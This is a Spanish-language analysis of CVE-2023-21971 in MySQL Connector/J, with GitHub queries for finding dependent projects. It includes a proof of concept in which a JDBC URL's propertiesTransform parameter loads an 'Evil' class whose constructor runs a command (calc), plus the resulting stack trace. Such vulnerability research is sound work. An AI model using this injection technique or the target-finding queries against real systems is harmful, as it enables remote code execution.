
CVE-2023-21971 Connector/J RCE Análisis分析
Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk
New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access
MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)
Vulnerabilidad en los productos MySQL Connectors de Oracle MySQL (componente: Connector/J). Las versiones compatibles afectadas son 8.0.32 y anteriores. Una vulnerabilidad difícil de explotar permite que un atacante con altos privilegios acceda a la red a través de múltiples protocolos para comprometer el Conector MySQL. Un ataque exitoso requiere interacción humana por parte de alguien que no sea el atacante. Explotar con éxito esta vulnerabilidad podría resultar en la capacidad no autorizada de hacer que el Conector MySQL se cuelgue o se bloquee repetidamente (DOS completo), así como la actualización, inserción o eliminación no autorizada de acceso a algunos datos accesibles del Conector MySQL, y acceso de lectura no autorizado a parte de los datos accesibles del Conector MySQL.
Alcance:
Buscar proyectos en Github que dependan de mysql-connector-java.
filename:pom.xml mysql-connector-java
Buscar en Github para encontrar dependencias de una versión específica de mysql-connector-java.
filename:pom.xml mysql-connector-java 8.0.32
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");
src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java
Aquí es evidente que podemos controlar propertiesTransformClassName, y al llamar a newInstance() se invocará automáticamente su constructor sin argumentos.
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();
Claramente se puede escribir un demo de verificación.
Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.32</version>
</dependency>
Aquí descargamos directamente el archivo Jar y lo importamos a las bibliotecas del proyecto IDEA.
Test.java
import java.sql.Connection;
import java.sql.DriverManager;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
}
}
com.jeyiuwai.Evil
package com.jeyiuwai;
import com.mysql.cj.conf.ConnectionPropertiesTransform;
import java.io.IOException;
import java.util.Properties;
public class Evil implements ConnectionPropertiesTransform {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Properties transformProperties(Properties properties) {
return null;
}
}
Pero la clase Evil se crea localmente, y ninguna de las dependencias tiene una clase que implemente la interfaz ConnectionPropertiesTransform. ¿Es esta una vulnerabilidad de poca utilidad?
Mediante experimentos descubrimos que, de hecho, la clase Evil no necesita implementar la interfaz ConnectionPropertiesTransform para ejecutar comandos.
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test